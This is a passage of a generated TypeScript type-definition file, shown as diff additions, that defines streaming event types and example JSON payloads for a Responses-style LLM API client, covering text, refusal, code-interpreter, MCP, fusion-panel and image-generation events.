sequence_number: number + type: 'response.refusal.delta' +} + +/** + * @description Event emitted when refusal streaming is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"refusal":"I'm sorry, but I can't assist with that request.","sequence_number":6,"type":"response.refusal.done"} + * @type object + */ +export type BaseRefusalDoneEvent = { + content_index: number + item_id: string + output_index: number + refusal: string + sequence_number: number + type: 'response.refusal.done' +} + +/** + * @description Alternative token with its log probability + * @example {"logprob":-0.5,"token":"hello"} + * @type object + */ +export type OpenResponsesTopLogprobs = { + bytes?: number[] + /** + * @description + * Format: `double` + * @type number | undefined + */ + logprob?: number + token?: string +} + +/** + * @description Log probability information for a token + * @example {"logprob":-0.1,"token":"world","top_logprobs":[{"logprob":-0.5,"token":"hello"}]} + * @type object + */ +export type OpenResponsesLogProbs = { + bytes?: number[] + /** + * @description + * Format: `double` + * @type number + */ + logprob: number + token: string + top_logprobs?: OpenResponsesTopLogprobs[] +} + +/** + * @description Event emitted when a text delta is streamed + * @example {"content_index":0,"delta":"Hello","item_id":"item-1","logprobs":[],"output_index":0,"sequence_number":4,"type":"response.output_text.delta"} + * @type object + */ +export type BaseTextDeltaEvent = { + content_index: number + delta: string + item_id: string + logprobs: OpenResponsesLogProbs[] + output_index: number + sequence_number: number + type: 'response.output_text.delta' +} + +/** + * @description Event emitted when text streaming is complete + * @example {"content_index":0,"item_id":"item-1","logprobs":[],"output_index":0,"sequence_number":6,"text":"Hello! How can I help you?","type":"response.output_text.done"} + * @type object + */ +export type BaseTextDoneEvent = { + content_index: number + item_id: string + logprobs: OpenResponsesLogProbs[] + output_index: number + sequence_number: number + text: string + type: 'response.output_text.done' +} + +/** + * @example {"delta":"print(\"hello\")","item_id":"ci_abc123","output_index":0,"sequence_number":2,"type":"response.code_interpreter_call_code.delta"} + * @type object + */ +export type OpenAIResponsesCodeInterpreterCallCodeDelta = { + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.code_interpreter_call_code.delta' +} + +/** + * @description Incremental chunk of code being streamed for a `code_interpreter_call`. + * @example {"delta":"print(\"hello\")","item_id":"ci-abc123","output_index":0,"sequence_number":3,"type":"response.code_interpreter_call_code.delta"} + */ +export type CodeInterpreterCallCodeDeltaEvent = + OpenAIResponsesCodeInterpreterCallCodeDelta & object + +/** + * @example {"code":"print(\"hello\")","item_id":"ci_abc123","output_index":0,"sequence_number":3,"type":"response.code_interpreter_call_code.done"} + * @type object + */ +export type OpenAIResponsesCodeInterpreterCallCodeDone = { + code: string + item_id: string + output_index: number + sequence_number: number + type: 'response.code_interpreter_call_code.done' +} + +/** + * @description Emitted when code streaming completes for a `code_interpreter_call`. + * @example {"code":"print(\"hello\")","item_id":"ci-abc123","output_index":0,"sequence_number":8,"type":"response.code_interpreter_call_code.done"} + */ +export type CodeInterpreterCallCodeDoneEvent = + OpenAIResponsesCodeInterpreterCallCodeDone & object + +/** + * @example {"item_id":"ci_abc123","output_index":0,"sequence_number":3,"type":"response.code_interpreter_call.completed"} + * @type object + */ +export type OpenAIResponsesCodeInterpreterCallCompleted = { + item_id: string + output_index: number + sequence_number: number + type: 'response.code_interpreter_call.completed' +} + +/** + * @description Code interpreter call completed + * @example {"item_id":"ci-abc123","output_index":0,"sequence_number":10,"type":"response.code_interpreter_call.completed"} + */ +export type CodeInterpreterCallCompletedEvent = + OpenAIResponsesCodeInterpreterCallCompleted & object + +/** + * @example {"item_id":"ci_abc123","output_index":0,"sequence_number":1,"type":"response.code_interpreter_call.in_progress"} + * @type object + */ +export type OpenAIResponsesCodeInterpreterCallInProgress = { + item_id: string + output_index: number + sequence_number: number + type: 'response.code_interpreter_call.in_progress' +} + +/** + * @description Code interpreter call in progress + * @example {"item_id":"ci-abc123","output_index":0,"sequence_number":2,"type":"response.code_interpreter_call.in_progress"} + */ +export type CodeInterpreterCallInProgressEvent = + OpenAIResponsesCodeInterpreterCallInProgress & object + +/** + * @example {"item_id":"ci_abc123","output_index":0,"sequence_number":2,"type":"response.code_interpreter_call.interpreting"} + * @type object + */ +export type OpenAIResponsesCodeInterpreterCallInterpreting = { + item_id: string + output_index: number + sequence_number: number + type: 'response.code_interpreter_call.interpreting' +} + +/** + * @description Code interpreter is executing the code + * @example {"item_id":"ci-abc123","output_index":0,"sequence_number":9,"type":"response.code_interpreter_call.interpreting"} + */ +export type CodeInterpreterCallInterpretingEvent = + OpenAIResponsesCodeInterpreterCallInterpreting & object + +/** + * @description Event emitted when a response has completed successfully + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"}],"id":"item-1","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":10,"type":"response.completed"} + * @type object + */ +export type CompletedEvent = { + /** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ + response: BaseResponsesResult + sequence_number: number + type: 'response.completed' +} + +/** + * @description Event emitted when a new content part is added to an output item + * @example {"content_index":0,"item_id":"item-1","output_index":0,"part":{"annotations":[],"text":"","type":"output_text"},"sequence_number":3,"type":"response.content_part.added"} + */ +export type ContentPartAddedEvent = BaseContentPartAddedEvent & { + part?: + | ResponseOutputText + | ReasoningTextContent + | OpenAIResponsesRefusalContent +} + +/** + * @description Event emitted when a content part is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"part":{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"},"sequence_number":7,"type":"response.content_part.done"} + */ +export type ContentPartDoneEvent = BaseContentPartDoneEvent & { + part?: + | ResponseOutputText + | ReasoningTextContent + | OpenAIResponsesRefusalContent +} + +/** + * @description Event emitted when a response is created + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":0,"type":"response.created"} + * @type object + */ +export type CreatedEvent = { + /** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ + response: BaseResponsesResult + sequence_number: number + type: 'response.created' +} + +/** + * @description Event emitted when a custom tool call's freeform input is being streamed. Mirrors `response.function_call_arguments.delta` but for `custom` tools whose input is opaque text rather than JSON arguments. + * @example {"delta":"*** Begin Patch","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.custom_tool_call_input.delta"} + */ +export type CustomToolCallInputDeltaEvent = BaseCustomToolCallInputDeltaEvent & + object + +/** + * @description Event emitted when a custom tool call's freeform input streaming is complete. Mirrors `response.function_call_arguments.done` but for `custom` tools. + * @example {"input":"*** Begin Patch\n*** End Patch","item_id":"item-1","output_index":0,"sequence_number":6,"type":"response.custom_tool_call_input.done"} + */ +export type CustomToolCallInputDoneEvent = BaseCustomToolCallInputDoneEvent & + object + +export const debugEventDebugTimingsEventEnum = { + adapter_request: 'adapter_request', + upstream_headers_received: 'upstream_headers_received', + first_token_received: 'first_token_received', + upstream_body_ended: 'upstream_body_ended', +} as const + +export type DebugEventDebugTimingsEventEnumKey = + (typeof debugEventDebugTimingsEventEnum)[keyof typeof debugEventDebugTimingsEventEnum] + +/** + * @description Debug event emitted when debug.echo_upstream_body is true. Contains the transformed upstream request body or timing milestones. + * @example {"debug":{"echo_upstream_body":{"messages":[],"model":"anthropic/claude-sonnet-4"}},"sequence_number":1,"type":"response.debug"} + * @type object + */ +export type DebugEvent = { + debug: { + echo_upstream_body?: { + [key: string]: unknown + } + timings?: { + epoch_ms: number + event: DebugEventDebugTimingsEventEnumKey + start_ms: number + } + } + sequence_number: number + type: 'response.debug' +} + +/** + * @description Event emitted when an error occurs during streaming + * @example {"code":"rate_limit_exceeded","message":"Rate limit exceeded. Please try again later.","param":null,"sequence_number":2,"type":"error"} + */ +export type ErrorEvent = BaseErrorEvent & object + +/** + * @description Event emitted when a response has failed + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"failed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":3,"type":"response.failed"} + * @type object + */ +export type FailedEvent = { + /** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ + response: BaseResponsesResult + sequence_number: number + type: 'response.failed' +} + +/** + * @description Event emitted when function call arguments are being streamed + * @example {"delta":"{\"city\": \"...\"}","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.function_call_arguments.delta"} + */ +export type FunctionCallArgsDeltaEvent = BaseFunctionCallArgsDeltaEvent & object + +/** + * @description Event emitted when function call arguments streaming is complete + * @example {"arguments":"{\"city\": \"San Francisco\", \"units\": \"celsius\"}","item_id":"item-1","name":"get_weather","output_index":0,"sequence_number":6,"type":"response.function_call_arguments.done"} + */ +export type FunctionCallArgsDoneEvent = BaseFunctionCallArgsDoneEvent & object + +/** + * @description Emitted when the fusion analyst completes with the structured analysis. + * @example {"analysis":{"blind_spots":[],"consensus":[],"contradictions":[],"partial_coverage":[],"unique_insights":[]},"item_id":"st_fusion_abc","output_index":0,"sequence_number":40,"type":"response.fusion_call.analysis.completed"} + * @type object + */ +export type FusionCallAnalysisCompletedEvent = { + /** + * @description Structured analysis produced by the fusion analyst model. + * @example {"blind_spots":["No model considered the impact on existing API consumers."],"consensus":["All panel models agree the request is asking for a concise summary."],"contradictions":[{"stances":[{"model":"openai/gpt-5","stance":"Favors an incremental rollout."},{"model":"anthropic/claude-sonnet-4.5","stance":"Favors a single coordinated migration."}],"topic":"Recommended approach"}],"partial_coverage":[{"models":["openai/gpt-5"],"point":"Only one model addressed the rollback strategy."}],"unique_insights":[{"insight":"Highlighted a backwards-compatibility risk the other models missed.","model":"anthropic/claude-sonnet-4.5"}]} + * @type object + */ + analysis: FusionAnalysisResult + item_id: string + output_index: number + sequence_number: number + type: 'response.fusion_call.analysis.completed' +} + +/** + * @description Emitted when the fusion analyst starts producing the structured analysis. + * @example {"analyst_model":"openai/gpt-5","item_id":"st_fusion_abc","judge_model":"openai/gpt-5","output_index":0,"sequence_number":25,"type":"response.fusion_call.analysis.in_progress"} + * @type object + */ +export type FusionCallAnalysisInProgressEvent = { + /** + * @description Slug of the model producing the structured analysis. + * @type string + */ + analyst_model: string + item_id: string + /** + * @description Deprecated alias of `analyst_model`, kept so existing consumers keep working. Always carries the same value. Use `analyst_model`. + * @deprecated + * @type string + */ + judge_model: string + output_index: number + sequence_number: number + type: 'response.fusion_call.analysis.in_progress' +} + +/** + * @description Emitted when the openrouter:fusion tool call finishes. + * @example {"item_id":"st_fusion_abc","output_index":0,"sequence_number":41,"type":"response.fusion_call.completed"} + * @type object + */ +export type FusionCallCompletedEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.fusion_call.completed' +} + +/** + * @description Emitted when an openrouter:fusion tool call begins executing. + * @example {"item_id":"st_fusion_abc","output_index":0,"sequence_number":3,"type":"response.fusion_call.in_progress"} + * @type object + */ +export type FusionCallInProgressEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.fusion_call.in_progress' +} + +/** + * @description Emitted when a fusion analysis-panel model starts. + * @example {"item_id":"st_fusion_abc","model":"openai/gpt-5","output_index":0,"sequence_number":4,"type":"response.fusion_call.panel.added"} + * @type object + */ +export type FusionCallPanelAddedEvent = { + item_id: string + model: string + output_index: number + sequence_number: number + type: 'response.fusion_call.panel.added' +} + +/** + * @description Emitted when a fusion panel model finishes with its full content. + * @example {"content":"Full panel response text...","item_id":"st_fusion_abc","model":"openai/gpt-5","output_index":0,"sequence_number":20,"type":"response.fusion_call.panel.completed"} + * @type object + */ +export type FusionCallPanelCompletedEvent = { + content: string + item_id: string + model: string + output_index: number + sequence_number: number + type: 'response.fusion_call.panel.completed' +} + +/** + * @description Incremental content token from a fusion panel model. + * @example {"delta":"Carbon taxes","item_id":"st_fusion_abc","model":"openai/gpt-5","output_index":0,"sequence_number":5,"type":"response.fusion_call.panel.delta"} + * @type object + */ +export type FusionCallPanelDeltaEvent = { + delta: string + item_id: string + model: string + output_index: number + sequence_number: number + type: 'response.fusion_call.panel.delta' +} + +/** + * @description Emitted when a fusion panel model fails. + * @example {"error":"Upstream provider error","item_id":"st_fusion_abc","model":"openai/gpt-5","output_index":0,"sequence_number":18,"status_code":502,"type":"response.fusion_call.panel.failed"} + * @type object + */ +export type FusionCallPanelFailedEvent = { + error: string + item_id: string + model: string + output_index: number + sequence_number: number + status_code?: number + type: 'response.fusion_call.panel.failed' +} + +/** + * @description Incremental reasoning token from a fusion panel model. + * @example {"delta":"Considering both sides","item_id":"st_fusion_abc","model":"openai/gpt-5","output_index":0,"sequence_number":6,"type":"response.fusion_call.panel.reasoning.delta"} + * @type object + */ +export type FusionCallPanelReasoningDeltaEvent = { + delta: string + item_id: string + model: string + output_index: number + sequence_number: number + type: 'response.fusion_call.panel.reasoning.delta' +} + +/** + * @example {"item_id":"ig_abc123","output_index":0,"sequence_number":4,"type":"response.image_generation_call.completed"} + * @type object + */ +export type OpenAIResponsesImageGenCallCompleted = { + item_id: string + output_index: number + sequence_number: number + type: 'response.image_generation_call.completed' +} + +/** + * @description Image generation call completed + * @example {"item_id":"call-123","output_index":0,"sequence_number":4,"type":"response.image_generation_call.completed"} + */ +export type ImageGenCallCompletedEvent = OpenAIResponsesImageGenCallCompleted & + object + +/** + * @example {"item_id":"ig_abc123","output_index":0,"sequence_number":2,"type":"response.image_generation_call.generating"} + * @type object + */ +export type OpenAIResponsesImageGenCallGenerating = { + item_id: string + output_index: number + sequence_number: number + type: 'response.image_generation_call.generating' +} + +/** + * @description Image generation call is generating + * @example {"item_id":"call-123","output_index":0,"sequence_number":2,"type":"response.image_generation_call.generating"} + */ +export type ImageGenCallGeneratingEvent = + OpenAIResponsesImageGenCallGenerating & object + +/** + * @example {"item_id":"ig_abc123","output_index":0,"sequence_number":1,"type":"response.image_generation_call.in_progress"} + * @type object + */ +export type OpenAIResponsesImageGenCallInProgress = { + item_id: string + output_index: number + sequence_number: number + type: 'response.image_generation_call.in_progress' +} + +/** + * @description Image generation call in progress + * @example {"item_id":"call-123","output_index":0,"sequence_number":1,"type":"response.image_generation_call.in_progress"} + */ +export type ImageGenCallInProgressEvent = + OpenAIResponsesImageGenCallInProgress & object + +/** + * @example {"item_id":"ig_abc123","output_index":0,"partial_image_b64":"iVBORw0KGgo...","partial_image_index":0,"sequence_number":3,"type":"response.image_generation_call.partial_image"} + * @type object + */ +export type OpenAIResponsesImageGenCallPartialImage = { + item_id: string + output_index: number + partial_image_b64: string + partial_image_index: number + sequence_number: number + type: 'response.image_generation_call.partial_image' +} + +/** + * @description Image generation call with partial image + * @example {"item_id":"call-123","output_index":0,"partial_image_b64":"base64encodedimage...","partial_image_index":0,"sequence_number":3,"type":"response.image_generation_call.partial_image"} + */ +export type ImageGenCallPartialImageEvent = + OpenAIResponsesImageGenCallPartialImage & object + +/** + * @description Event emitted when a response is in progress + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":1,"type":"response.in_progress"} + * @type object + */ +export type InProgressEvent = { + /** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ + response: BaseResponsesResult + sequence_number: number + type: 'response.in_progress' +} + +/** + * @description Event emitted when a response is incomplete + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"incomplete","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":5,"type":"response.incomplete"} + * @type object + */ +export type IncompleteEvent = { + /** + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null} + * @type object + */ + response: BaseResponsesResult + sequence_number: number + type: 'response.incomplete' +} + +/** + * @description A partial update to the JSON-encoded arguments of an MCP tool call. + * @example {"delta":"{\"query\":\"text-to-image\"}","item_id":"mcp_abc123","output_index":1,"sequence_number":6,"type":"response.mcp_call_arguments.delta"} + * @type object + */ +export type McpCallArgumentsDeltaEvent = { + delta: string + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_call_arguments.delta' +} + +/** + * @description Emitted when the JSON-encoded arguments of an MCP tool call are finalized. + * @example {"arguments":"{\"query\":\"text-to-image\"}","item_id":"mcp_abc123","output_index":1,"sequence_number":7,"type":"response.mcp_call_arguments.done"} + * @type object + */ +export type McpCallArgumentsDoneEvent = { + arguments: string + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_call_arguments.done' +} + +/** + * @description Emitted when an MCP tool call completes successfully. + * @example {"item_id":"mcp_abc123","output_index":1,"sequence_number":8,"type":"response.mcp_call.completed"} + * @type object + */ +export type McpCallCompletedEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_call.completed' +} + +/** + * @description Emitted when an MCP tool call fails. + * @example {"item_id":"mcp_abc123","output_index":1,"sequence_number":8,"type":"response.mcp_call.failed"} + * @type object + */ +export type McpCallFailedEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_call.failed' +} + +/** + * @description Emitted when an MCP tool call begins executing. + * @example {"item_id":"mcp_abc123","output_index":1,"sequence_number":5,"type":"response.mcp_call.in_progress"} + * @type object + */ +export type McpCallInProgressEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_call.in_progress' +} + +/** + * @description Emitted when tool discovery against an MCP server succeeds. + * @example {"item_id":"mcpl_abc123","output_index":0,"sequence_number":2,"type":"response.mcp_list_tools.completed"} + * @type object + */ +export type McpListToolsCompletedEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_list_tools.completed' +} + +/** + * @description Emitted when tool discovery against an MCP server fails. + * @example {"item_id":"mcpl_abc123","output_index":0,"sequence_number":2,"type":"response.mcp_list_tools.failed"} + * @type object + */ +export type McpListToolsFailedEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_list_tools.failed' +} + +/** + * @description Emitted when tool discovery against an MCP server begins. + * @example {"item_id":"mcpl_abc123","output_index":0,"sequence_number":1,"type":"response.mcp_list_tools.in_progress"} + * @type object + */ +export type McpListToolsInProgressEvent = { + item_id: string + output_index: number + sequence_number: number + type: 'response.mcp_list_tools.in_progress' +} + +/** + * @example {"item_id":"ws_abc123","output_index":0,"sequence_number":5,"type":"response.web_search_call.completed"} + * @type object + */ +export type OpenAIResponsesSearchCompleted = { + item_id: string + output_index: number + sequence_number: number + type: 'response.web_search_call.completed' +} + +/** + * @example {"item_id":"ws_abc123","output_index":0,"sequence_number":1,"type":"response.web_search_call.in_progress"} + * @type object + */ +export type OpenAIResponsesWebSearchCallInProgress = { + item_id: string + output_index: number + sequence_number: number + type: 'response.web_search_call.in_progress' +} + +/** + * @example {"item_id":"ws_abc123","output_index":0,"sequence_number":2,"type":"response.web_search_call.searching"} + * @type object + */ +export type OpenAIResponsesWebSearchCallSearching = { + item_id: string + output_index: number + sequence_number: number + type: 'response.web_search_call.searching' +} + +export const openResponsesResultAccessProgramsCyberEnum = { + standard: 'standard', + daybreak_blue: 'daybreak_blue', + daybreak_red: 'daybreak_red', +} as const + +export type OpenResponsesResultAccessProgramsCyberEnumKey = + (typeof openResponsesResultAccessProgramsCyberEnum)[keyof typeof openResponsesResultAccessProgramsCyberEnum] + +/** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ +export type OpenResponsesResult = BaseResponsesResult & { + /** + * @description Access program the upstream provider reported for this response (OpenAI `access_programs`). `null` when the provider reported none, including OpenAI's implicit Standard program. + * @example {"cyber":"standard"} + * @type object | undefined + */ + access_programs?: { + cyber: OpenResponsesResultAccessProgramsCyberEnumKey + } | null + /** + * @description Beta. The result of the alignment plugin for this request; the shape may change. + * @example {"calls":[{"call":1,"outcome":"allowed","rules":[{"applicable":true,"broken":false,"probability":0.04}]}]} + * @type object | undefined + */ + alignment?: Alignment + /** + * @description Error of a failed response; `metadata` carries OpenRouter-specific details. + * @example {"code":"server_error","message":"Alignment plugin: the reply could not be evaluated: evaluator_error","metadata":{"alignment":{"calls":[{"call":1,"outcome":"unavailable","reason":"evaluator_error"}]}}} + * @type object | undefined + */ + error?: OpenResponsesErrorField | null + /** + * @description Canonical OpenRouter error type, stable across all API formats + * @example rate_limit_exceeded + * @type string | undefined + */ + error_type?: ApiErrorTypeKey + /** + * @example {"attempt":1,"endpoints":{"available":[{"model":"openai/gpt-4o","provider":"OpenAI","selected":true}],"total":1},"generation_time":2016,"is_byok":false,"region":"iad","requested":"openai/gpt-4o","strategy":"direct","summary":"available=1, selected=OpenAI"} + * @type object | undefined + */ + openrouter_metadata?: OpenRouterMetadata + output?: OutputItems[] + /** + * @description OpenRouter Armor's verdict for each client tool call of this response, present whenever Armor evaluated the response (even when nothing was flagged). Independent of the `openrouter_metadata` opt-in. + * @type array | undefined + */ + safeguard_results?: ArmorSafeguardResult[] + service_tier?: string | null + /** + * @description Text output configuration including format and verbosity + * @example {"format":{"type":"text"}} + */ + text?: TextExtendedConfig + /** + * @description Token usage information for the response + * @example {"cost":0.0012,"cost_details":{"upstream_inference_cost":null,"upstream_inference_input_cost":0.0008,"upstream_inference_output_cost":0.0004},"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35} + */ + usage?: Usage +} + +/** + * @description Event emitted when a response is created + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":0,"type":"response.created"} + */ +export type OpenResponsesCreatedEvent = CreatedEvent & { + /** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ + response?: OpenResponsesResult +} + +/** + * @description Event emitted when a response is in progress + * @example {"response":{"completed_at":null,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[],"parallel_tool_calls":true,"presence_penalty":null,"status":"in_progress","temperature":null,"tool_choice":"auto","tools":[],"top_p":null},"sequence_number":1,"type":"response.in_progress"} + */ +export type OpenResponsesInProgressEvent = InProgressEvent & { + /** + * @description Complete non-streaming response from the Responses API + * @example {"completed_at":1704067210,"created_at":1704067200,"error":null,"frequency_penalty":null,"id":"resp-abc123","incomplete_details":null,"instructions":null,"max_output_tokens":null,"metadata":null,"model":"gpt-4","object":"response","output":[{"content":[{"annotations":[],"text":"Hello! How can I help you today?","type":"output_text"}],"id":"msg-abc123","role":"assistant","status":"completed","type":"message"}],"parallel_tool_calls":true,"presence_penalty":null,"status":"completed","temperature":null,"tool_choice":"auto","tools":[],"top_p":null,"usage":{"input_tokens":10,"input_tokens_details":{"cached_tokens":0},"output_tokens":25,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":35}} + */ + response?: OpenResponsesResult +} + +/** + * @description Event emitted when a new output item is added to the response + * @example {"item":{"content":[],"id":"item-1","role":"assistant","status":"in_progress","type":"message"},"output_index":0,"sequence_number":2,"type":"response.output_item.added"} + * @type object + */ +export type OutputItemAddedEvent = { + item: + | (OutputMessage & { + type: 'message' + }) + | (OutputItemReasoning & { + type: 'reasoning' + }) + | (OutputItemFunctionCall & { + type: 'function_call' + }) + | (OutputItemCustomToolCall & { + type: 'custom_tool_call' + }) + | (OutputItemWebSearchCall & { + type: 'web_search_call' + }) + | (OutputItemFileSearchCall & { + type: 'file_search_call' + }) + | (OutputItemImageGenerationCall & { + type: 'image_generation_call' + }) + | (OutputItemApplyPatchCall & { + type: 'apply_patch_call' + }) + | (OutputItemCodeInterpreterCall & { + type: 'code_interpreter_call' + }) + | (OutputItemCompaction & { + type: 'compaction' + }) + | (OutputItemMcpListTools & { + type: 'mcp_list_tools' + }) + | (OutputItemMcpCall & { + type: 'mcp_call' + }) + | (OutputItemMcpApprovalRequest & { + type: 'mcp_approval_request' + }) + output_index: number + sequence_number: number + type: 'response.output_item.added' +} + +/** + * @description Event emitted when an output item is complete + * @example {"item":{"content":[{"annotations":[],"text":"Hello! How can I help you?","type":"output_text"}],"id":"item-1","role":"assistant","status":"completed","type":"message"},"output_index":0,"sequence_number":8,"type":"response.output_item.done"} + * @type object + */ +export type OutputItemDoneEvent = { + item: + | (OutputMessage & { + type: 'message' + }) + | (OutputItemReasoning & { + type: 'reasoning' + }) + | (OutputItemFunctionCall & { + type: 'function_call' + }) + | (OutputItemCustomToolCall & { + type: 'custom_tool_call' + }) + | (OutputItemWebSearchCall & { + type: 'web_search_call' + }) + | (OutputItemFileSearchCall & { + type: 'file_search_call' + }) + | (OutputItemImageGenerationCall & { + type: 'image_generation_call' + }) + | (OutputItemApplyPatchCall & { + type: 'apply_patch_call' + }) + | (OutputItemCodeInterpreterCall & { + type: 'code_interpreter_call' + }) + | (OutputItemCompaction & { + type: 'compaction' + }) + | (OutputItemMcpListTools & { + type: 'mcp_list_tools' + }) + | (OutputItemMcpCall & { + type: 'mcp_call' + }) + | (OutputItemMcpApprovalRequest & { + type: 'mcp_approval_request' + }) + output_index: number + sequence_number: number + type: 'response.output_item.done' +} + +/** + * @description Event emitted when reasoning text delta is streamed + * @example {"content_index":0,"delta":"First, we need","item_id":"item-1","output_index":0,"sequence_number":4,"type":"response.reasoning_text.delta"} + */ +export type ReasoningDeltaEvent = BaseReasoningDeltaEvent & object + +/** + * @description Event emitted when reasoning text streaming is complete + * @example {"content_index":0,"item_id":"item-1","output_index":0,"sequence_number":6,"text":"First, we need to identify the key components and then combine them logically.","type":"response.reasoning_text.done"} + */ +export type ReasoningDoneEvent = BaseReasoningDoneEvent & object + +/** + * @description Event emitted when a reasoning summary part is added + * @example {"item_id":"item-1","output_index":0,"part":{"text":"","type":"summary_text"},"sequence_number":3,"summary_index":0,"type":"response.reasoning_summary_part.added"} + */ +export type ReasoningSummaryPartAddedEvent = + BaseReasoningSummaryPartAddedEvent & object + +/** + * @description Event emitted when a reasoning summary part is complete + * @example {"item_id":"item-1","output_index":0,"part":{"text":"Analyzing the problem step by step to find the optimal solution.","type":"summary_text"},"sequence_number":7,"summary_index":0,"type":"response.reasoning_summary_part.done"} + */ +export type ReasoningSummaryPartDoneEvent = BaseReasoningSummaryPartDoneEvent & + object + +/** + * @description Event emitted when reasoning summary text delta is streamed + * @example 